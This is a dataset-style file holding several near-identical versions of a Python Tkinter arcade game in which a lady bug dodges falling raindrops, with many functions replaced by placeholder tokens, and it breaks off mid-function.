setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\n<function token>\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if 